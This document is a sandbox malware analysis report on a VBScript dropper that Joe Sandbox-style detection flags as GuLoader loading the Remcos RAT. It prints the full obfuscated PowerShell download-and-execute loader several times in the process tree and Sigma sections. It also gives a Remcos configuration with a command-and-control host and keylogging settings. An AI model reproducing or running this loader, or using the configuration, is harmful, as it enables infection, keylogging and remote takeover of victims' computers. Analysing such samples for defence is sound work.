Edit tour

Windows Analysis Report
AF85714759_htm#U00b7pdf.vbs

Overview

General Information

Sample name:	AF85714759_htm#U00b7pdf.vbs renamed because original name is a hash value
Original sample name:	AF85714759_htmpdf.vbs
Analysis ID:	1466654
MD5:	e31a921fa7bbdb8a49fec66db0fed99e
SHA1:	f43505f1553c845626c6a1a4284277c6ac32679c
SHA256:	d991c4cf68d0fa2019a6fb61bb5197a33512372076fac18e6867e598612e8c73
Tags:	vbs
Infos:

Detection

Remcos, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected Remcos RAT

Found malware configuration

Malicious sample detected (through community Yara rule)

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Yara detected Powershell download and execute

Yara detected Remcos RAT

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found suspicious powershell code related to unpacking or dynamic code loading

Obfuscated command line found

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Very long command line found

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6928 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\AF85714759_htm#U00b7pdf.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 4416 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDal SeMa(Ur$,tAPercacLehS.aAniRas ,eSarAu,S $A.N,noAgnPedTreTrc So .rSuaSktMliFao Vn.o2Am3 R5Gu)Ke ';$Nondecoration235=$Stationcaren[0];Dkvingen (Sprge 'T.$Odg .lJio FbdoaI.l .:chNPro .n Sm.eaPurolk,ieDitPr=Dr(PoT Fe es.ltC -ChPRiaDetDehUs D.$ HNStoExnScdNieRoc.po .r aG,t Sinuo onko2Du3Au5 B)Ss ');while (!$Nonmarket) {Dkvingen (Sprge 'Be$Ingrel okobSeaUnlFl: .BBliSel,gvDdr ,aH gSaeO tLa=.o$Unt .rBouUne U ') ;Dkvingen $Kundetilfredshedsgarantiernes;Dkvingen (Sprge 'DiSR,tNaaArr .t.d- ESRolRaePee,opDe ,4Bu ');Dkvingen (Sprge 'Sl$SugO.l Somub.saVel.n: FNUdo enDem GaTirPlkC.eJut a=M.(.oTn,e SsF.t R-C,PCoaArtruhDe .$HlNCho Jn,ldCoeOvcPuoRerDda ,tCoiC.ofinPj2T.3Ra5 P)e ') ;Dkvingen (Sprge 'Mu$Kag Fl ,o .bUsaL lC : ,Pchr Iep.p Ki .oFou usfa=Mu$sagErl.ao b MaExlB :DeESlsKym Ce .rFoa.nlAmd saLo+Af+R.%,l$.oE un.ugg lFoe sjukAfa jrBeeRes I. ,cenoCyuTan et.v ') ;$Archaiser=$Engleskares[$Prepious];}$Facially=314646;$Tilvrelsesforms=26399;Dkvingen (Sprge ' ,$ gBulM o Bb aValVa: LSFej,olKleQusPaoCor,kg e DrGe ,o=.a kaGS.eG,t r-BaC Lo,onEkt.ne,qnSltSi D $R,N AoSunstdC.e PcF.oDirCyaq,t iiBroEnnHe2Mu3Ma5Ud ');Dkvingen (Sprge ' ,$ Cg ,lFro .bBaa l :,aU pR,pAfi FlH eScd.y Pa=Ad By[A.SMayArs PtTieAmm y.BiCSlo enK,vApeOrrF tUd]le:L.:,lF ar ro,em,oBA,aBas Te R6 i4R S RtF rC,i AnHng (Ce$MeSsej DlCreBas ,oTor,aga.e DrOv)E ');Dkvingen (Sprge 'Ho$ScgO l koGrbsiaPalTr: ,MViaGuiI,nSaf PrBaaNdmOveE,so. Ke=Da ,n[BeSPlyNes Ft.neRhmEn.HoTS e cxFltAu. REH nSec .o VdFjiGrnM gCo]Om:P.:,eANeS,tCAfI rIFi. SGRee,atSuSQ tRerLoiChnSmgwa( O$StUC pA pPii MlUne.idB,) ');Dkvingen (Sprge ' K$ gAllFloS.bAnaStlR.:StKInyUdn ld Ai gKo=Ap$DaM,oaGri.nnStfMirU aSpmSke EsR..NisgyuH bTis GtKnr,ii un.ig d(Ba$c,F Castc.ui SaStlTrlDey.o, y$,iTHii Sl,lvRorBoe TlIdsNgeI.sKofT.oOvrBamK.s .)Su ');Dkvingen $Kyndig;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5224 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Folkeslaget.Opi && echo t" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 7148 cmdline: "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDal SeMa(Ur$,tAPercacLehS.aAniRas ,eSarAu,S $A.N,noAgnPedTreTrc So .rSuaSktMliFao Vn.o2Am3 R5Gu)Ke ';$Nondecoration235=$Stationcaren[0];Dkvingen (Sprge 'T.$Odg .lJio FbdoaI.l .:chNPro .n Sm.eaPurolk,ieDitPr=Dr(PoT Fe es.ltC -ChPRiaDetDehUs D.$ HNStoExnScdNieRoc.po .r aG,t Sinuo onko2Du3Au5 B)Ss ');while (!$Nonmarket) {Dkvingen (Sprge 'Be$Ingrel okobSeaUnlFl: .BBliSel,gvDdr ,aH gSaeO tLa=.o$Unt .rBouUne U ') ;Dkvingen $Kundetilfredshedsgarantiernes;Dkvingen (Sprge 'DiSR,tNaaArr .t.d- ESRolRaePee,opDe ,4Bu ');Dkvingen (Sprge 'Sl$SugO.l Somub.saVel.n: FNUdo enDem GaTirPlkC.eJut a=M.(.oTn,e SsF.t R-C,PCoaArtruhDe .$HlNCho Jn,ldCoeOvcPuoRerDda ,tCoiC.ofinPj2T.3Ra5 P)e ') ;Dkvingen (Sprge 'Mu$Kag Fl ,o .bUsaL lC : ,Pchr Iep.p Ki .oFou usfa=Mu$sagErl.ao b MaExlB :DeESlsKym Ce .rFoa.nlAmd saLo+Af+R.%,l$.oE un.ugg lFoe sjukAfa jrBeeRes I. ,cenoCyuTan et.v ') ;$Archaiser=$Engleskares[$Prepious];}$Facially=314646;$Tilvrelsesforms=26399;Dkvingen (Sprge ' ,$ gBulM o Bb aValVa: LSFej,olKleQusPaoCor,kg e DrGe ,o=.a kaGS.eG,t r-BaC Lo,onEkt.ne,qnSltSi D $R,N AoSunstdC.e PcF.oDirCyaq,t iiBroEnnHe2Mu3Ma5Ud ');Dkvingen (Sprge ' ,$ Cg ,lFro .bBaa l :,aU pR,pAfi FlH eScd.y Pa=Ad By[A.SMayArs PtTieAmm y.BiCSlo enK,vApeOrrF tUd]le:L.:,lF ar ro,em,oBA,aBas Te R6 i4R S RtF rC,i AnHng (Ce$MeSsej DlCreBas ,oTor,aga.e DrOv)E ');Dkvingen (Sprge 'Ho$ScgO l koGrbsiaPalTr: ,MViaGuiI,nSaf PrBaaNdmOveE,so. Ke=Da ,n[BeSPlyNes Ft.neRhmEn.HoTS e cxFltAu. REH nSec .o VdFjiGrnM gCo]Om:P.:,eANeS,tCAfI rIFi. SGRee,atSuSQ tRerLoiChnSmgwa( O$StUC pA pPii MlUne.idB,) ');Dkvingen (Sprge ' K$ gAllFloS.bAnaStlR.:StKInyUdn ld Ai gKo=Ap$DaM,oaGri.nnStfMirU aSpmSke EsR..NisgyuH bTis GtKnr,ii un.ig d(Ba$c,F Castc.ui SaStlTrlDey.o, y$,iTHii Sl,lvRorBoe TlIdsNgeI.sKofT.oOvrBamK.s .)Su ');Dkvingen $Kyndig;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 5728 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Folkeslaget.Opi && echo t" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

wab.exe (PID: 2192 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

wab.exe (PID: 1128 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

rundll32.exe (PID: 6996 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/ https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "a458386d9.duckdns.org:3256:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-7CSH4D", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Enable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.3219431727.0000000009FA8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000B.00000002.3211992987.0000000008DB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
0000000B.00000002.3194915385.000000000615A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000008.00000002.3577666635.00000197D36A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
0000000B.00000002.3212165628.000000000CB1E000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 4416	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 4416	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x14df78:$b2: ::FromBase64String( 0x14dfaf:$b2: ::FromBase64String( 0x14dfe7:$b2: ::FromBase64String( 0x14e020:$b2: ::FromBase64String( 0x14e05a:$b2: ::FromBase64String( 0x14e095:$b2: ::FromBase64String( 0x14e0d1:$b2: ::FromBase64String( 0x14e10e:$b2: ::FromBase64String( 0x14e14c:$b2: ::FromBase64String( 0x14e18b:$b2: ::FromBase64String( 0x14e1cb:$b2: ::FromBase64String( 0x14e20c:$b2: ::FromBase64String( 0x14e24e:$b2: ::FromBase64String( 0x361a7d:$b2: ::FromBase64String( 0x2062e:$s1: -join 0x2d703:$s1: -join 0x30ad5:$s1: -join 0x31187:$s1: -join 0x32c78:$s1: -join 0x34e7e:$s1: -join 0x356a5:$s1: -join
Process Memory Space: powershell.exe PID: 7148	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7148	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x32412:$b2: ::FromBase64String( 0x2973f:$s1: -join 0x19c583:$s1: -join 0x1a9658:$s1: -join 0x1aca2a:$s1: -join 0x1ad0dc:$s1: -join 0x1aebcd:$s1: -join 0x1b0dd3:$s1: -join 0x1b15fa:$s1: -join 0x1b1e6a:$s1: -join 0x1b25a5:$s1: -join 0x1b25d7:$s1: -join 0x1b261f:$s1: -join 0x1b263e:$s1: -join 0x1b2e8e:$s1: -join 0x1b300a:$s1: -join 0x1b3082:$s1: -join 0x1b3115:$s1: -join 0x1b337b:$s1: -join 0x1b5511:$s1: -join 0x1c3f5b:$s1: -join
Click to see the 4 entries

Other

Source	Rule	Description	Author	Strings
amsi64_4416.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_7148.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xdbdb:$b2: ::FromBase64String( 0xcc57:$s1: -join 0x6403:$s4: += 0x64c5:$s4: += 0xa6ec:$s4: += 0xc809:$s4: += 0xcaf3:$s4: += 0xcc39:$s4: += 0x15cbd:$s4: += 0x15d3d:$s4: += 0x15e03:$s4: += 0x15e83:$s4: += 0x16059:$s4: += 0x160dd:$s4: += 0xd47e:$e4: Get-WmiObject 0xd66d:$e4: Get-Process 0xd6c5:$e4: Start-Process 0x1696a:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDal SeMa(Ur$,tAPercacLehS.aAniRas ,eSarAu,S $A.N,noAgnPedTre

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\AF85714759_htm#U00b7pdf.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\AF85714759_htm#U00b7pdf.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\AF85714759_htm#U00b7pdf.vbs", ProcessId: 6928, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\AF85714759_htm#U00b7pdf.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\AF85714759_htm#U00b7pdf.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\AF85714759_htm#U00b7pdf.vbs", ProcessId: 6928, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

